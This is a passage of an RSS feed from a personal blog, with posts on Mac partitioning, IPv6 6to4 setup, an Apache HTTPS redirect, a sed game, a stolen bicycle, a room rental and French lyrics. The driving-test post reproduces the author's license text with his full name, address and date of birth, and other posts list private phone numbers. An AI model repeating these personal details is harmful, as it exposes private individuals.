  10216. <li>Install <a href="http://refit.sourceforge.net/">rEFIt</a></li>
  10217.  
  10218. <li>Install Linux</li>
  10219.  
  10220. <li>After some time decide to upgrade to Mac OS X 10.5 and at the same time make the partition bigger (e.g. by merging with a FAT32 partition which was originally intended to contain some Windows)</li>
  10221.  
  10222. <li>Use the <a href="http://www.gnu.org/software/parted/">GNU Parted</a> utility to delete the Mac OS X and FAT 32  partitions and create a new bigger partition for Mac OS X 10.5.</li>
  10223.  
  10224. <li>Restart your Mac.</li>
  10225.  
  10226. <li>Cheer that now you can no longer boot from the harddisk or a CD/DVD nor from anything else!</li>
  10227.  
  10228. </ol>
  10229.  
  10230. <p>And now, how to un-brick it again:</p>
  10231.  
  10232. <ol>
  10233.  
  10234. <li>Call Apple support</li>
  10235.  
  10236. <li>Find out that you are lucky and have some warranty left (6 days in my case!!!).</li>
  10237.  
  10238. <li>Bring your Mac to an Authorized Service Provider.</li>
  10239.  
  10240. <li>Get it back with a new harddisk :-)</li>
  10241.  
  10242. </ol>
  10243. ]]></content:encoded>
  10244.  </item>
  10245.  
  10246.  <item>
  10247.    <title>Embed Flash into valid XHTML documents</title>
  10248.    <link>https://blog.x-way.org/Webdesign/2008/01/12/Embed-Flash-into-valid-XHTML-documents.html</link>
  10249.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324109</guid>
  10250.    <dc:creator>Andreas Jaggi</dc:creator>
  10251.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10252.    <pubDate>Sat, 12 Jan 2008 17:12:00 +0100</pubDate>
  10253.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  10254.    <description><![CDATA[<pre>
  10255.  
  10256. &lt;object type="application/x-shockwave-flash" data="flash.swf" width="100" height="200"&gt;
  10257.  
  10258. &lt;param name="movie" value="flash.swf" /&gt;
  10259.  
  10260. &lt;/object&gt;
  10261.  
  10262. </pre>
  10263. ]]></description>
  10264.    <content:encoded><![CDATA[<pre>
  10265.  
  10266. &lt;object type="application/x-shockwave-flash" data="flash.swf" width="100" height="200"&gt;
  10267.  
  10268. &lt;param name="movie" value="flash.swf" /&gt;
  10269.  
  10270. &lt;/object&gt;
  10271.  
  10272. </pre>
  10273. ]]></content:encoded>
  10274.  </item>
  10275.  
  10276.  <item>
  10277.    <title>How to enable IPv6 on your Debian Linux server in 3 easy steps</title>
  10278.    <link>https://blog.x-way.org/Networking/2008/01/09/How-to-enable-IPv6-on-your-Debian-Linux-server-in-3-easy-steps.html</link>
  10279.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324113</guid>
  10280.    <dc:creator>Andreas Jaggi</dc:creator>
  10281.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10282.    <pubDate>Wed, 09 Jan 2008 16:00:00 +0100</pubDate>
  10283.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  10284.    <description><![CDATA[<ol>
  10285.  
  10286. <li>Compute your <a href="http://en.wikipedia.org/wiki/6to4" title="6to4 - Wikipedia">6to4</a> IPv6 address (2002:uuuu:vvvv::1) from your IPv4 address (a.b.c.d): <pre>printf "2002:%02x%02x:%02x%02x::1\n" a b c d</pre></li>
  10287.  
  10288. <li>Add a SIT (IPv6-in-IPv4) interface in /etc/network/interfaces:
  10289.  
  10290. <pre>auto sit0
  10291.  
  10292. iface sit0 inet6 static
  10293.  
  10294.        address 2002:uuuu:vvvv::1
  10295.  
  10296.        netmask 64
  10297.  
  10298.        gateway ::192.88.99.1</pre></li>
  10299.  
  10300. <li><code>ifup sit0</code></li>
  10301.  
  10302. </ol>
  10303.  
  10304. <p>Now you can also add <a href="http://en.wikipedia.org/wiki/AAAA_record#IPv6_and_the_Domain_Name_System" title="AAAA - Wikipedia">AAAA DNS records</a> with 2002:uuuu:vvvv::1 for your domain(s).</p>
  10305. ]]></description>
  10306.    <content:encoded><![CDATA[<ol>
  10307.  
  10308. <li>Compute your <a href="http://en.wikipedia.org/wiki/6to4" title="6to4 - Wikipedia">6to4</a> IPv6 address (2002:uuuu:vvvv::1) from your IPv4 address (a.b.c.d): <pre>printf "2002:%02x%02x:%02x%02x::1\n" a b c d</pre></li>
  10309.  
  10310. <li>Add a SIT (IPv6-in-IPv4) interface in /etc/network/interfaces:
  10311.  
  10312. <pre>auto sit0
  10313.  
  10314. iface sit0 inet6 static
  10315.  
  10316.        address 2002:uuuu:vvvv::1
  10317.  
  10318.        netmask 64
  10319.  
  10320.        gateway ::192.88.99.1</pre></li>
  10321.  
  10322. <li><code>ifup sit0</code></li>
  10323.  
  10324. </ol>
  10325.  
  10326. <p>Now you can also add <a href="http://en.wikipedia.org/wiki/AAAA_record#IPv6_and_the_Domain_Name_System" title="AAAA - Wikipedia">AAAA DNS records</a> with 2002:uuuu:vvvv::1 for your domain(s).</p>
  10327. ]]></content:encoded>
  10328.  </item>
  10329.  
  10330.  <item>
  10331.    <title>Breakout Game written in sed</title>
  10332.    <link>https://blog.x-way.org/Linux/2008/01/06/Breakout-Game-written-in-sed.html</link>
  10333.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324110</guid>
  10334.    <dc:creator>Andreas Jaggi</dc:creator>
  10335.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10336.    <pubDate>Sun, 06 Jan 2008 17:18:00 +0100</pubDate>
  10337.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  10338.    <description><![CDATA[<p>Instead of learning for the exams, I mess around with strange things:</p>
  10339.  
  10340. <p><a href="http://aurelio.net/bin/sed/arkanoid/">arkanoid.sed</a> is a breakout-game written entirely in <a href="http://sed.sourceforge.net/">sed</a>. Download the sed-file and use <code>sed -f arkanoid.sed</code> to start the game. (<a href="https://web.archive.org/web/20080209201850/http://blog.schatenseite.de/archives/2007/09/19/texteditor-am-limit-arkanoidsed/">via</a>)</p>
  10341.  
  10342. <p><a href="https://blog.x-way.org/images/arkanoid.png"><img src="https://blog.x-way.org/images/arkanoid.png" width="301" height="166" alt="arkanoid.sed"></a></p>
  10343. ]]></description>
  10344.    <content:encoded><![CDATA[<p>Instead of learning for the exams, I mess around with strange things:</p>
  10345.  
  10346. <p><a href="http://aurelio.net/bin/sed/arkanoid/">arkanoid.sed</a> is a breakout-game written entirely in <a href="http://sed.sourceforge.net/">sed</a>. Download the sed-file and use <code>sed -f arkanoid.sed</code> to start the game. (<a href="https://web.archive.org/web/20080209201850/http://blog.schatenseite.de/archives/2007/09/19/texteditor-am-limit-arkanoidsed/">via</a>)</p>
  10347.  
  10348. <p><a href="https://blog.x-way.org/images/arkanoid.png"><img src="https://blog.x-way.org/images/arkanoid.png" width="301" height="166" alt="arkanoid.sed"></a></p>
  10349. ]]></content:encoded>
  10350.  </item>
  10351.  
  10352.  <item>
  10353.    <title>7 Habits For Effective Text Editing 2.0</title>
  10354.    <link>https://blog.x-way.org/Coding/2008/01/02/7-Habits-For-Effective-Text-Editing-2-0.html</link>
  10355.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324108</guid>
  10356.    <dc:creator>Andreas Jaggi</dc:creator>
  10357.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10358.    <pubDate>Wed, 02 Jan 2008 10:40:00 +0100</pubDate>
  10359.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10360.    <description><![CDATA[<p><a href="https://youtu.be/eX9m3g5J-XA" title="7 Habits for Effective Text Editing 2.0 - YouTube">7 Habits for Effective Text Editing 2.0</a></p>
  10361.  
  10362. <p>I really, really should have known the <a href="http://www.vim.org/tips/tip.php?tip_id=1">* command</a> earlier.</p>
  10363. ]]></description>
  10364.    <content:encoded><![CDATA[<p><a href="https://youtu.be/eX9m3g5J-XA" title="7 Habits for Effective Text Editing 2.0 - YouTube">7 Habits for Effective Text Editing 2.0</a></p>
  10365.  
  10366. <p>I really, really should have known the <a href="http://www.vim.org/tips/tip.php?tip_id=1">* command</a> earlier.</p>
  10367. ]]></content:encoded>
  10368.  </item>
  10369.  
  10370.  <item>
  10371.    <title>Erlang has no locks and no keys.</title>
  10372.    <link>https://blog.x-way.org/Coding/2007/12/23/Erlang-has-no-locks-and-no-keys.html</link>
  10373.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324107</guid>
  10374.    <dc:creator>Andreas Jaggi</dc:creator>
  10375.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10376.    <pubDate>Sun, 23 Dec 2007 23:12:00 +0100</pubDate>
  10377.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  10378.    <description><![CDATA[<blockquote cite="http://www.pragprog.com/titles/jaerlang">
  10379.  
  10380. <p>Erlang processes don't share memory, so there is no need to lock the memory while it is being used. Where there are locks, there are keys that can get lost. What happens when you lose your keys? You panic and don't know what to do. That's what happens in software systems when you lose your keys and your locks go wrong.</p>
  10381.  
  10382. <p>Distributed software systems with locks and keys always go wrong.</p>
  10383.  
  10384. <p>Erlang has no locks and no keys.</p>
  10385.  
  10386. </blockquote>
  10387.  
  10388. <p><a href="http://www.pragprog.com/titles/jaerlang">Joe Armstrong, Programming Erlang</a></p>
  10389. ]]></description>
  10390.    <content:encoded><![CDATA[<blockquote cite="http://www.pragprog.com/titles/jaerlang">
  10391.  
  10392. <p>Erlang processes don't share memory, so there is no need to lock the memory while it is being used. Where there are locks, there are keys that can get lost. What happens when you lose your keys? You panic and don't know what to do. That's what happens in software systems when you lose your keys and your locks go wrong.</p>
  10393.  
  10394. <p>Distributed software systems with locks and keys always go wrong.</p>
  10395.  
  10396. <p>Erlang has no locks and no keys.</p>
  10397.  
  10398. </blockquote>
  10399.  
  10400. <p><a href="http://www.pragprog.com/titles/jaerlang">Joe Armstrong, Programming Erlang</a></p>
  10401. ]]></content:encoded>
  10402.  </item>
  10403.  
  10404.  <item>
  10405.    <title>Won't you blog about this song?</title>
  10406.    <link>https://blog.x-way.org/Misc/2007/12/05/Wont-you-blog-about-this-song.html</link>
  10407.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324106</guid>
  10408.    <dc:creator>Andreas Jaggi</dc:creator>
  10409.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10410.    <pubDate>Wed, 05 Dec 2007 01:02:00 +0100</pubDate>
  10411.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10412.    <description><![CDATA[<p><a href="https://youtu.be/I6IQ_FOCE6I" title="Here Comes Another Bubble v1.1 - The Richter Scales - YouTube">Here Comes Another Bubble v1.1 - The Richter Scales</a></p><p>(<a href="https://web.archive.org/web/20071207145832/http://blog.koehntopp.de/archives/1915-Bubble-2.0.html">via</a>)</p>
  10413. ]]></description>
  10414.    <content:encoded><![CDATA[<p><a href="https://youtu.be/I6IQ_FOCE6I" title="Here Comes Another Bubble v1.1 - The Richter Scales - YouTube">Here Comes Another Bubble v1.1 - The Richter Scales</a></p><p>(<a href="https://web.archive.org/web/20071207145832/http://blog.koehntopp.de/archives/1915-Bubble-2.0.html">via</a>)</p>
  10415. ]]></content:encoded>
  10416.  </item>
  10417.  
  10418.  <item>
  10419.    <title>Enforce HTTPS for your virtualhosts</title>
  10420.    <link>https://blog.x-way.org/Linux/2007/09/16/Enforce-HTTPS-for-your-virtualhosts.html</link>
  10421.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324104</guid>
  10422.    <dc:creator>Andreas Jaggi</dc:creator>
  10423.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10424.    <pubDate>Sun, 16 Sep 2007 14:13:49 +0200</pubDate>
  10425.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  10426.    <description><![CDATA[<pre>
  10427. NameVirtualHost *:443
  10428. NameVirtualHost *:80
  10429.  
  10430. &lt;VirtualHost *:80&gt;
  10431. ServerName example.org
  10432. RewriteEngine on
  10433. RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [L,R]
  10434. &lt;/VirtualHost&gt;
  10435.  
  10436. &lt;VirtualHost *:443&gt;
  10437. ServerName example.org
  10438. DocumentRoot /var/www/example.org
  10439. ...
  10440. &lt;/VirtualHost&gt;
  10441. </pre>
  10442.  
  10443. ]]></description>
  10444.    <content:encoded><![CDATA[<pre>
  10445. NameVirtualHost *:443
  10446. NameVirtualHost *:80
  10447.  
  10448. &lt;VirtualHost *:80&gt;
  10449. ServerName example.org
  10450. RewriteEngine on
  10451. RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [L,R]
  10452. &lt;/VirtualHost&gt;
  10453.  
  10454. &lt;VirtualHost *:443&gt;
  10455. ServerName example.org
  10456. DocumentRoot /var/www/example.org
  10457. ...
  10458. &lt;/VirtualHost&gt;
  10459. </pre>
  10460.  
  10461. ]]></content:encoded>
  10462.  </item>
  10463.  
  10464.  <item>
  10465.    <title>California driving test: passed!</title>
  10466.    <link>https://blog.x-way.org/Misc/2007/07/26/California-driving-test-passed.html</link>
  10467.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324103</guid>
  10468.    <dc:creator>Andreas Jaggi</dc:creator>
  10469.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10470.    <pubDate>Thu, 26 Jul 2007 05:10:05 +0200</pubDate>
  10471.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10472.    <description><![CDATA[<p>I passed the California driving test this afternoon, now the streets are no longer safe :-)<br>The interim driver license looks really shabby, it's just this text printed on cheap copier paper:</p>
  10473. <pre>
  10474.                        INTERIM DRIVER LICENSE
  10475.  
  10476.                  DXXXXXXX        CLASS C
  10477.  
  10478.  
  10479.            ISSUED:07-25-07   XXX   XX/XX   EXPIRES:09-22-07
  10480.  
  10481. ANDREAS RENE JAGGI                       SEX:M   HAIR:BRN   EYES:HZL
  10482. 900 ISLAND DR STE 101                    HT:5-11   WT:187   DOB:01-22-84
  10483. REDWOOD CITY   CA  94065
  10484.  
  10485.  
  10486.  THIS LICENSE IS ISSUED AS A LICENSE TO DRIVE A MOTOR VEHICLE;
  10487.     IT DOES NOT ESTABLISH ELIGIBILITY FOR EMPLOYMENT, VOTER
  10488.                REGISTRATION, OR PUBLIC BENEFITS.
  10489. </pre>
  10490. <p>Also the driving test itself was more like a joke than a real test. I just had to drive around for about 10 minutes. No highway driving, no complicated intersections, no 'advanced' maneuvers, no real parallel parking. In fact the "parallel parking" part was to pull over to the curb and drive backwards 3 meters (w/o any other car around of course). And the most complicated maneuvers were to change lanes and to make a left turn at an intersection.</p>
  10491. ]]></description>
  10492.    <content:encoded><![CDATA[<p>I passed the California driving test this afternoon, now the streets are no longer safe :-)<br>The interim driver license looks really shabby, it's just this text printed on cheap copier paper:</p>
  10493. <pre>
  10494.                        INTERIM DRIVER LICENSE
  10495.  
  10496.                  DXXXXXXX        CLASS C
  10497.  
  10498.  
  10499.            ISSUED:07-25-07   XXX   XX/XX   EXPIRES:09-22-07
  10500.  
  10501. ANDREAS RENE JAGGI                       SEX:M   HAIR:BRN   EYES:HZL
  10502. 900 ISLAND DR STE 101                    HT:5-11   WT:187   DOB:01-22-84
  10503. REDWOOD CITY   CA  94065
  10504.  
  10505.  
  10506.  THIS LICENSE IS ISSUED AS A LICENSE TO DRIVE A MOTOR VEHICLE;
  10507.     IT DOES NOT ESTABLISH ELIGIBILITY FOR EMPLOYMENT, VOTER
  10508.                REGISTRATION, OR PUBLIC BENEFITS.
  10509. </pre>
  10510. <p>Also the driving test itself was more like a joke than a real test. I just had to drive around for about 10 minutes. No highway driving, no complicated intersections, no 'advanced' maneuvers, no real parallel parking. In fact the "parallel parking" part was to pull over to the curb and drive backwards 3 meters (w/o any other car around of course). And the most complicated maneuvers were to change lanes and to make a left turn at an intersection.</p>
  10511. ]]></content:encoded>
  10512.  </item>
  10513.  
  10514.  <item>
  10515.    <title>Bicycle stolen!</title>
  10516.    <link>https://blog.x-way.org/Misc/2007/07/23/Bicycle-stolen.html</link>
  10517.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324102</guid>
  10518.    <dc:creator>Andreas Jaggi</dc:creator>
  10519.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10520.    <pubDate>Mon, 23 Jul 2007 07:08:40 +0200</pubDate>
  10521.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10522.    <description><![CDATA[<p>This afternoon some asshole has stolen my bicycle.<br>I left it locked to the bike rack at the Hillsdale Caltrain station for 5 hours while I went shopping in SF. And now it's gone :-(</p>
  10523. <p>Of course I called the police, but even the deputy sheriff of San Mateo county said that I will probably never see my bike again.<br>So if you happen to find or see a bicycle with the following characteristics, please tell me (650.888.0140) or report to the police.</p>
  10524.  
  10525. <table>
  10526. <tr><td>Serial#</td>
  10527. <td><strong>IDC07B22590</strong></td></tr>
  10528. <tr><td>Brand</td>
  10529. <td><strong>GT</strong></td></tr>
  10530. <tr><td>Model</td>
  10531. <td><strong>Avalanche 3.0 (2007)</strong></td></tr>
  10532. <tr><td>Color</td>
  10533. <td><strong>black</strong></td></tr>
  10534. <tr><td>Size</td>
  10535. <td><strong>XL</strong></td></tr>
  10536. </table>
  10537.  
  10538. <p><a href="https://blog.x-way.org/images/stolen-gt-avalanche.jpg"><img src="https://blog.x-way.org/images/stolen-gt-avalanche_thumb.jpg" alt="Stolen GT Avalanche 3.0 2006 - owner 650.888.0140"></a></p>
  10539. ]]></description>
  10540.    <content:encoded><![CDATA[<p>This afternoon some asshole has stolen my bicycle.<br>I left it locked to the bike rack at the Hillsdale Caltrain station for 5 hours while I went shopping in SF. And now it's gone :-(</p>
  10541. <p>Of course I called the police, but even the deputy sheriff of San Mateo county said that I will probably never see my bike again.<br>So if you happen to find or see a bicycle with the following characteristics, please tell me (650.888.0140) or report to the police.</p>
  10542.  
  10543. <table>
  10544. <tr><td>Serial#</td>
  10545. <td><strong>IDC07B22590</strong></td></tr>
  10546. <tr><td>Brand</td>
  10547. <td><strong>GT</strong></td></tr>
  10548. <tr><td>Model</td>
  10549. <td><strong>Avalanche 3.0 (2007)</strong></td></tr>
  10550. <tr><td>Color</td>
  10551. <td><strong>black</strong></td></tr>
  10552. <tr><td>Size</td>
  10553. <td><strong>XL</strong></td></tr>
  10554. </table>
  10555.  
  10556. <p><a href="https://blog.x-way.org/images/stolen-gt-avalanche.jpg"><img src="https://blog.x-way.org/images/stolen-gt-avalanche_thumb.jpg" alt="Stolen GT Avalanche 3.0 2006 - owner 650.888.0140"></a></p>
  10557. ]]></content:encoded>
  10558.  </item>
  10559.  
  10560.  <item>
  10561.    <title>Kuriose Fakten über mich</title>
  10562.    <link>https://blog.x-way.org/Misc/2007/02/10/Kuriose-Fakten-ueber-mich.html</link>
  10563.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324101</guid>
  10564.    <dc:creator>Andreas Jaggi</dc:creator>
  10565.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10566.    <pubDate>Sat, 10 Feb 2007 00:25:52 +0100</pubDate>
  10567.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10568.    <description><![CDATA[<p><a href="https://web.archive.org/web/20070213223032/http://blog.robwei.de/rwo2k5/286-(Fakten,_Fakten,_Fakten)%C2%B2/">Robert</a> will zum Wochenende noch ein paar Fakten sehen:</p>
  10569.  
  10570. <ol>
  10571.  
  10572. <li>Ich hasse Arbeiten Schreiben, Lernen, etc. aber trotzdem sitze ich seit 15&#189; Jahren hinter der Schulbank (und bin damit noch immer nicht fertig).</li>
  10573.  
  10574. <li>Im nächsten Semester gehe ich endlich mal nicht zur Schule sondern <del>mache Ferien in Kalifornien</del> programmiere bei <a href="https://web.archive.org/web/20070225100617/http://www.novawavetech.com/">Novawave Technologies</a> an Embedded Linux Geräten herum.</li>
  10575.  
  10576. <li>Je mehr ich neben dem Studium mache, desto besser werden meine Noten.</li>
  10577.  
  10578. <li>Vor langer Zeit habe ich einmal Schlagzeug gespielt.</li>
  10579.  
  10580. <li>Vor noch längerer Zeit sogar Blockflöte.</li>
  10581.  
  10582. <li>Zwei mal pro Woche fahre ich über <a href="http://www.goldenpass.ch/">eine der schönsten Bahnstrecken</a> und dabei schlafe ich oder starre in meinen Laptop.</li>
  10583.  
  10584. <li>Ich interessiere mich für Eventtechnik und nicht zu wenig (<a href="http://satellite.epfl.ch/">Satellite</a>,
  10585. <a href="http://balelec.ch/">Bal&#233;lec</a>,
  10586. Challenge 06,
  10587. <a href="http://artiphys.epfl.ch/">Artiphys</a>,
  10588. <a href="http://vivapoly.epfl.ch/">Vivapoly</a>,
  10589. <a href="https://web.archive.org/web/20040729134938/http://www.closedair.ch/">ClosedAir 06</a>,
  10590. <a href="https://web.archive.org/web/20060803102823/http://polybeach.ch/">Polybeach</a>,
  10591. <a href="http://agepoly.epfl.ch/PIP/">PIP</a>).</li>
  10592. </ol>
  10593.  
  10594. <p>Mal schauen ob <a href="#" class="gone">Andreas</a> oder <a href="https://web.archive.org/web/20070304175435/http://blog.boltzmann-konstante.de/">Gordon</a> was über sich erzählen wollen.</p>
  10595.  
  10596. ]]></description>
  10597.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20070213223032/http://blog.robwei.de/rwo2k5/286-(Fakten,_Fakten,_Fakten)%C2%B2/">Robert</a> will zum Wochenende noch ein paar Fakten sehen:</p>
  10598.  
  10599. <ol>
  10600.  
  10601. <li>Ich hasse Arbeiten Schreiben, Lernen, etc. aber trotzdem sitze ich seit 15&#189; Jahren hinter der Schulbank (und bin damit noch immer nicht fertig).</li>
  10602.  
  10603. <li>Im nächsten Semester gehe ich endlich mal nicht zur Schule sondern <del>mache Ferien in Kalifornien</del> programmiere bei <a href="https://web.archive.org/web/20070225100617/http://www.novawavetech.com/">Novawave Technologies</a> an Embedded Linux Geräten herum.</li>
  10604.  
  10605. <li>Je mehr ich neben dem Studium mache, desto besser werden meine Noten.</li>
  10606.  
  10607. <li>Vor langer Zeit habe ich einmal Schlagzeug gespielt.</li>
  10608.  
  10609. <li>Vor noch längerer Zeit sogar Blockflöte.</li>
  10610.  
  10611. <li>Zwei mal pro Woche fahre ich über <a href="http://www.goldenpass.ch/">eine der schönsten Bahnstrecken</a> und dabei schlafe ich oder starre in meinen Laptop.</li>
  10612.  
  10613. <li>Ich interessiere mich für Eventtechnik und nicht zu wenig (<a href="http://satellite.epfl.ch/">Satellite</a>,
  10614. <a href="http://balelec.ch/">Bal&#233;lec</a>,
  10615. Challenge 06,
  10616. <a href="http://artiphys.epfl.ch/">Artiphys</a>,
  10617. <a href="http://vivapoly.epfl.ch/">Vivapoly</a>,
  10618. <a href="https://web.archive.org/web/20040729134938/http://www.closedair.ch/">ClosedAir 06</a>,
  10619. <a href="https://web.archive.org/web/20060803102823/http://polybeach.ch/">Polybeach</a>,
  10620. <a href="http://agepoly.epfl.ch/PIP/">PIP</a>).</li>
  10621. </ol>
  10622.  
  10623. <p>Mal schauen ob <a href="#" class="gone">Andreas</a> oder <a href="https://web.archive.org/web/20070304175435/http://blog.boltzmann-konstante.de/">Gordon</a> was über sich erzählen wollen.</p>
  10624.  
  10625. ]]></content:encoded>
  10626.  </item>
  10627.  
  10628.  <item>
  10629.    <title>Jamendo rocks!</title>
  10630.    <link>https://blog.x-way.org/Music/2007/02/09/Jamendo-rocks.html</link>
  10631.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324100</guid>
  10632.    <dc:creator>Andreas Jaggi</dc:creator>
  10633.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10634.    <pubDate>Fri, 09 Feb 2007 09:04:19 +0100</pubDate>
  10635.    <category domain="https://blog.x-way.org/Music/">Music</category>
  10636.    <description><![CDATA[<p><a href="https://www.jamendo.com/playlist/8122/francais" title="My Jamendo playlist with french rock music">Jamendo playlist</a></p>
  10637. ]]></description>
  10638.    <content:encoded><![CDATA[<p><a href="https://www.jamendo.com/playlist/8122/francais" title="My Jamendo playlist with french rock music">Jamendo playlist</a></p>
  10639. ]]></content:encoded>
  10640.  </item>
  10641.  
  10642.  <item>
  10643.    <title>Chambre à louer à Vufflens-la-ville</title>
  10644.    <link>https://blog.x-way.org/Misc/2007/02/03/Chambre-a-louer-a-Vufflens-la-ville.html</link>
  10645.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324099</guid>
  10646.    <dc:creator>Andreas Jaggi</dc:creator>
  10647.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10648.    <pubDate>Sat, 03 Feb 2007 18:48:08 +0100</pubDate>
  10649.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  10650.    <description><![CDATA[<p>A Vufflens-la-Ville (10 min. en voiture de l'EPFL, 45 min. en train), &#224; louer du 10 mars au 15 septembre 2007 une chambre meubl&#233;e ind&#233;pendante de 32 m<sup>2</sup> avec coin cuisine et ADSL, situ&#233;e dans une ancienne ferme habit&#233;e par une famille (salle d'eau en commun, possibilit&#233; d'utiliser le jardin), pour 530 francs par mois, charges comprises.<br>
  10651. T&#233;l. de pr&#233;f&#233;rence le soir au 021'701'14'61 ou au 078'645'56'83.</p>
  10652.  
  10653. <p><a href="https://blog.x-way.org/images/chambrealouer1.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer1_thumb.jpg" alt="chambre"></a></p>
  10654. <p><a href="https://blog.x-way.org/images/chambrealouer2.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer2_thumb.jpg" alt="Jardin"></a></p>
  10655. <p><a href="https://blog.x-way.org/images/chambrealouer3.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer3_thumb.jpg" alt="Jardin"></a></p>
  10656.  
  10657. ]]></description>
  10658.    <content:encoded><![CDATA[<p>A Vufflens-la-Ville (10 min. en voiture de l'EPFL, 45 min. en train), &#224; louer du 10 mars au 15 septembre 2007 une chambre meubl&#233;e ind&#233;pendante de 32 m<sup>2</sup> avec coin cuisine et ADSL, situ&#233;e dans une ancienne ferme habit&#233;e par une famille (salle d'eau en commun, possibilit&#233; d'utiliser le jardin), pour 530 francs par mois, charges comprises.<br>
  10659. T&#233;l. de pr&#233;f&#233;rence le soir au 021'701'14'61 ou au 078'645'56'83.</p>
  10660.  
  10661. <p><a href="https://blog.x-way.org/images/chambrealouer1.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer1_thumb.jpg" alt="chambre"></a></p>
  10662. <p><a href="https://blog.x-way.org/images/chambrealouer2.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer2_thumb.jpg" alt="Jardin"></a></p>
  10663. <p><a href="https://blog.x-way.org/images/chambrealouer3.jpg"><img width="300" height="225" style="border:0;" src="https://blog.x-way.org/images/chambrealouer3_thumb.jpg" alt="Jardin"></a></p>
  10664.  
  10665. ]]></content:encoded>
  10666.  </item>
  10667.  
  10668.  <item>
  10669.    <title>Des jours sans rien</title>
  10670.    <link>https://blog.x-way.org/Music/2006/09/17/Des-jours-sans-rien.html</link>
  10671.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324098</guid>
  10672.    <dc:creator>Andreas Jaggi</dc:creator>
  10673.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  10674.    <pubDate>Sun, 17 Sep 2006 13:32:25 +0200</pubDate>
  10675.    <category domain="https://blog.x-way.org/Music/">Music</category>
  10676.    <description><![CDATA[<p>Je me rapelle ces cellules vides<br>
  10677. Tout petits bouts de vie sordides<br>
  10678. Je passe ma journ&#233;e &#224; attendre<br>
  10679. Que quelqu'un tente de la comprendre<br>
  10680. Il vaut mieux apprendre &#224; mentir<br>
  10681. Se supporter tant mal que pire<br>
  10682. Mieux vaut apprendre &#224; oublier<br>
  10683. Que tous les jours faut se lever<br>
  10684. Trouver la force d'y croire encore<br>
  10685. Quand tout notre corps hurle &quot;assez&quot;<br>
  10686. Sourire &#224; des gens inconnus<br>
  10687. Quand ceux qu'on aime ne sourient plus<br>
  10688. Dans la galerie de nos amours perdues<br>
  10689. Se souvenir que l'on n'est rien<br>
  10690. Qu'un paranth&#232;se dans le destin<br>
  10691. Sous-particule du genre humain<br>
  10692. Et ces journ&#233;es sont toutes les m&#234;mes<br>
  10693. Avec nos peurs et nos &quot;je t'aime&quot;<br>
  10694. Avec cette solitude am&#232;re<br>
  10695. On vit &#8211; on meurt et on esp&#232;re<br>
  10696. Une derni&#232;re lettre abandon&#233;e<br>
  10697. Du rouge &#224; l&#232;vres sur un caf&#233;<br>
  10698. N'importe quoi pour oublier<br>
  10699. Que tous les jours faut se lever&#8230;</p>
  10700.  
  10701. <p>(Glardon/<a href="https://web.archive.org/web/20081226085307/http://www.melatonin.cd/" title="Melatonin musique (archive.org)">Melatonin</a>)</p>
  10702.  
  10703.  
  10704. <p>Cette chanson d&#233;crit pas mal les trois semaines que je viens de passer &#224; l'arm&#233;e<br>
  10705. </p>
  10706.  
  10707. ]]></description>
  10708.    <content:encoded><![CDATA[<p>Je me rapelle ces cellules vides<br>
  10709. Tout petits bouts de vie sordides<br>
  10710. Je passe ma journ&#233;e &#224; attendre<br>
  10711. Que quelqu'un tente de la comprendre<br>
  10712. Il vaut mieux apprendre &#224; mentir<br>
  10713. Se supporter tant mal que pire<br>
  10714. Mieux vaut apprendre &#224; oublier<br>
